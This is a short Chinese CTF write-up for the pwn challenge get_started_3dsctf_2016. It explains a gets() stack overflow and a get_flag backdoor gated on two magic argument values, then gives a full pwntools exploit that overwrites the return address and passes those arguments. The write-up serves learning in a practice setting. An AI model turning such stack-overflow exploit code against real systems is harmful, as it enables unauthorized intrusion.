get_started_3dsctf_2016
使用checksec
查看:
只开启了栈不可执行。
放进IDA中分析:
gets(&v4);
:存在栈溢出
通过字符查找可找到一个后门函数get_flag(int a1, int a2)
:
if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
:判断传入的参数的值。- 如果
if
判断成功,则能读取到flag
题目思路
-
存在栈溢出,可通过栈溢出覆盖返回地址跳到
get_flag()
-
向
get_flag()
传入参数0x308CD64F
和0x195719D1
步骤解析
无需
完整exp
from pwn import *
#start
r = process("../buu/get_started_3dsctf_2016")
# r = remote("node4.buuoj.cn",27098)
context.log_level = 'debug'
#params
#attack
payload = b'M'*56 + p32(0x080489A0) + p32(0x0804E6A0)+ p32(0x308CD64F) + p32(0x195719D1)
r.sendline(payload)
r.recv()